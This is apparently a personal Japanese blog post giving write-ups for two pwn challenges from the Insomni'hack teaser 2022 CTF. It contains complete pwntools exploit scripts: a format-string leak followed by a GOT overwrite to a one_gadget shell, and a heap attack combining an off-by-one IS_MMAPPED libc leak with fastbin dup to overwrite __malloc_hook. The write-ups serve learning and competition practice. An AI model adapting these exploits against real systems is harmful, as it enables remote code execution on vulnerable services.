Insomni'hack teaser 2022 Write-up
今年から、CTFのモチベーションを保つために、解いた問題のWriteupを書くことにしました。
2022/1/29-30に開催されたInsomni'hack teaser 2022に参加しました。
初めてはてなを使ってみたので、書き方が不慣れです。すみません。
pwnタスクは4つありましたが、開催期間中に解くことができたのは、一番簡単なCovidLe$sだけでした。
開催期間終了後に、onetestamentを解いたので、この2問の解き方をまとめます。
CovidLe$s
初めて見たblind pwn
自明なFSBがある。
バイナリの防御機構はわからないが、おそらくGOT Overwriteあたりができるのだろう。
とりあえずFSBを使ってスタックの中身を見てみる。
from pwn import * p=remote("covidless.insomnihack.ch",6666) for i in range(0,100): p.sendline("%{}$p".format(i).ljust(0x8).encode()) print(str(i), p.recv(timeout=0.3))
こんな感じのコードで、スタックを出力できる。
0 b'Your covid pass is invalid : %0$p \ntry again ..\n\n' 1 b'Your covid pass is invalid : 0x400934 \ntry again ..\n\n' 2 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 3 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 4 b'Your covid pass is invalid : 0x7ff402f30580 \ntry again ..\n\n' 5 b'Your covid pass is invalid : 0x7ff402d048d0 \ntry again ..\n\n' 6 b'Your covid pass is invalid : 0x74346e3143633456 \ntry again ..\n\n' 7 b'Your covid pass is invalid : 0x505f44315f6e6f31 \ntry again ..\n\n' 8 b'Your covid pass is invalid : 0x5379334b5f763172 \ntry again ..\n\n' 9 b'Your covid pass is invalid : 0x5f74304e6e34635f \ntry again ..\n\n' 10 b'Your covid pass is invalid : 0xa6b34336c \ntry again ..\n\n' 11 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 12 b'Your covid pass is invalid : 0x2020207024323125 \ntry again ..\n\n' 13 b'Your covid pass is invalid : 0xa \ntry again ..\n\n' 14 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 15 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 16 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 17 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 18 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 19 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 20 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 21 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 22 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 23 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 24 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 25 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 26 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 27 b'Your covid pass is invalid : (nil) \ntry again ..\n\n' 28 b'Your covid pass is invalid : 0x7fff471f6360 \ntry again ..\n\n' 29 b'Your covid pass is invalid : 0x86ae0fff72979c00 \ntry again ..\n\n' 30 b'Your covid pass is invalid : 0x400890 \ntry again ..\n\n' 31 b'Your covid pass is invalid : 0x7ff402938b97 \ntry again ..\n\n'
ここから慣れの問題である気がするが、
0x86ae0fff72979c00はstack canaryであるような気がする。
そして、その2個下の 0x7ff402938b97 は、おそらく__libc_start_mainだろう。
libc database search
このサイトで調べると、
この問題のlibcはglibc2.27であろうことがわかる。
これでlibc baseが特定できた。
後はGOT Overwriteを目指すために、バイナリの中身をダンプしてみる。
from pwn import * p=remote("covidless.insomnihack.ch",6666) def leak(address): p.sendline("%13$s".ljust(0x8).encode()+p64(address)) print(p.recvuntil("Your covid pass is invalid : ")) tmp=p.recvuntil("try again ..").replace("try again ..".encode(),"".encode()).strip().ljust(8, b"\x00") if len(tmp)>8: data=u64(tmp[0:8]) else: data=u64(tmp) return data base=0x600f00 for i in range(0x1000): p.sendline("%13$s".ljust(0x8).encode()+p64(base+i*0x8)) print(hex(base+i*0x8),hex(leak(base+i*0x8))) p.interactive()
スタックの13番目に任意の値を入れることができたので、%13$sで、任意のアドレスをleakさせることができる。
GOTがありそうなアドレスは、適当に色々試した。(手元のバイナリだと0x600XXXとかが多かったので…)
出力結果は下記のような感じ。
b'\n\nYour covid pass is invalid : ' 0x601008 0x20207f0f07dde170 b'\n\nYour covid pass is invalid : ' 0x601010 0x20207f0f07bca8f0 b'\n\nYour covid pass is invalid : ' 0x601018 0x20207f0f078429c0 b'\n\nYour covid pass is invalid : ' 0x601020 0x10202020204005f6 b'\n\nYour covid pass is invalid : ' 0x601028 0x20207f0f07826e80 b'\n\nYour covid pass is invalid : ' 0x601030 0x20207f0f07950f50 b'\n\nYour covid pass is invalid : ' 0x601038 0x382020207f0f0784 b'\n\nYour covid pass is invalid : ' 0x601040 0x20207f0f0786be70 b'\n\nYour covid pass is invalid : ' 0x601048 0x20207f0f078407e0
これで、0x7f0f07bca8f0とかはGOTの領域っぽいので、あとは%nの書式文字列でone_gadgetに飛ばすだけ。
どれを選ぶかが問題だが、libc databaseによるとputsのoffsetが0x809c0であることから
0x601018にある0x7f0f078429c0はputsのアドレスだろうとアタリを付けて0x601018をone_gadgetのアドレスにoverwriteした。
from pwn import * libc=ELF("/home/ubuntu/Desktop/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6") p=remote("covidless.insomnihack.ch",6666) #leak libc base p.sendline("%31$p") p.recvuntil("Your covid pass is invalid : ") libc_base=int(p.recvline().split()[0], 16)-0x21b97 log.info("libc_base:"+hex(libc_base)) #GOT overwrite one_gadget=0xe5863 upper=(libc_base+one_gadget)//0x100000000 lower1=(libc_base+one_gadget)%0x100000000 lower1=lower1//0x10000 lower2=(libc_base+one_gadget)%0x100000000 lower2=lower2%0x10000 p.sendline("%{}c%20$hn%{}c%19$hn%{}c%18$hn".format(upper,0x10000+lower1-upper, 0x10000+lower2-lower1).ljust(0x30).encode()+p64(0x601020-0x8)+p64(0x601022-0x8)+p64(0x601024-0x8)) p.recv(timeout=0.5) p.interactive()
すごい勢いで空白が出力されるけど、一応シェルは取れる。
難易度としてはそんなに高くないものの、FSBはスタックがズレたりしてexploitのコーディングに時間がかかる。
onetestament
よくあるheap note問題。
1:新しい領域をcallocして書き込みする。(サイズは0x30, 0x18, 0x60, 0x7cから選べる)
2:決まった文言を出力する(あまり意味ない)
3:取得済みの領域を編集する。(2回までしかできない)
4:callocされた領域をfreeする。
脆弱性
脆弱性は二つある。
1つ目は、Edit my testamentを行うとOOBで0x01を足してしまうバグ。
Edit testament は受け取った数値をpointerに加算して、該当アドレスに0x01を加算する。
一応boundary checkが存在するものの、1バイトずれていて、隣の領域のmchunk_sizeに0x01を加算できる。
2つ目は、4のDeleteした後もポインタが削除されず、UAFがあること。
一応Deleteされた後は、flagが0x0(4バイト)になり、Deleteできないようにしているのだが、indexの入力は5バイトを隣り合った領域に書き込むため、flagを上書きできる。その結果UAFができる。
Exploitの方針
脆弱性の一つ目によって、サイズのIS_MMAPPEDフラグを立てることが可能。このフラグを立てることで、libc addressのリークが可能となる。(callocはIS_MMAPPEDがあると内容を初期化しない為)
このテクニックは、こちらの書籍に詳しく載っているのでご参照。
callocで取得する前に当該領域にlibcのアドレスを書き込む必要がある。
これはunsorted binに入れる必要がある。
問題設定上unsortedbin に使ってほしそうな、0x7cの領域確保を行いfreeをするとunsorted binに入るので、これを活用する。
(fastbinはlibcのアドレスを持たないのでlibc leakには使えない)
これによりlibc_baseをleakすることができる。
その次にRIPを奪うことを考えるが、glibc2.23なので、fastbin dupを使えることができるので__malloc_hookを書き換えことができる。
fastbin dupはhow2heapを参照
how2heap/fastbin_dup.c at master · shellphish/how2heap · GitHub
今回は0x60でcallocできるので、fastbinのチェックであるサイズチェックをバイパスできる。
(libcのアドレスは0x7fから始まるので、偶然fastbinのサイズと同じになる。したがってfastbinのチェックをバイパスできる)
これで__malloc_hookを書き換えてone_gadgetに飛ばせばよい。
from pwn import * elf=ELF("/hostshare/ontestament") libc=ELF("/hostshare/libc6.so") #p=process("/hostshare/ontestament", aslr=False,env={"LD_PRELOAD" : "/hostshare/libc6.so"} ) #p=process("/hostshare/ontestament", aslr=True ) #gdb.attach(p) p=remote("onetestament.insomnihack.ch",6666) def new_testament(choice, content): p.sendlineafter("Please enter your choice:", "1".encode()) p.sendlineafter("Please enter your choice:", str(choice).encode()) p.sendlineafter("Please enter your testatment content:", content) return p.recvline() def show_testament(index): p.sendlineafter("Please enter your choice:", "2".encode()) return p.recvline() def edit_testament(index, content): p.sendlineafter("Please enter your choice:", "3".encode()) p.sendlineafter("Please enter your testament index:", str(index).encode()) p.sendlineafter("Please enter your testament content:", content) return p.recvline() def delete_testament(index): p.sendlineafter("Please enter your choice:", "4".encode()) p.sendlineafter("Please enter your testament index:", str(index).encode()) return p.recvline() ### leak libc ### new_testament(1, cyclic(0x10)) #0 new_testament(4, cyclic(0x10)) #1 new_testament(3, cyclic(0x10)) #2 barrier delete_testament(1) # 1 fd, bk edit_testament(0, str(0x18)) #IS_MMMAPED edit_testament(0, str(0x18)) #PREV_USED new_testament(4, "") #1 libc_base=u64((b"\x00"+p.recv(5)).ljust(8, b"\x00"))-0x3c4b00 log.info("libc base is :" + hex(libc_base)) ### fastbin dup ### new_testament(3, cyclic(0x10)) #3 new_testament(3, cyclic(0x10)) #4 delete_testament(4) delete_testament(2) p.sendlineafter("Please enter your choice:", "4".encode()) p.sendlineafter("Please enter your testament index:", str(4).encode()+b"\xde\xad\xbe\xef") one_gadget=0x4527a new_testament(3, p64(libc_base+libc.symbols["__memalign_hook"]-0x13)) new_testament(3, "A") new_testament(3, "BBBB") new_testament(3, "CCCCCCCCCCCCCCCCCCC".encode()+p64(libc_base+one_gadget)) #pwn it p.sendlineafter("Please enter your choice:", "1".encode()) p.sendlineafter("Please enter your choice:", str(1).encode()) p.interactive()
こちらも難易度はあまり高くないけど、脆弱性を見つけることが難しいなぁーと思った。
仮にlibc 2.31だったとしてもcallocの10回制限が無ければ、house of botcakeで解けるかも?と思ったが
callocはtcacheからは取らないからやっぱりダメなような気もした(試す体力はない)。
LoadMeもBlindpwnのようでしたが、Windows問なので、何もわかりませんでした。いつかやりたいです。
RetroPwnはゲームボーイっぽいゲームが始まって面白そうでした。いつかやりたいです。
どこか間違っている記載があったらすみません。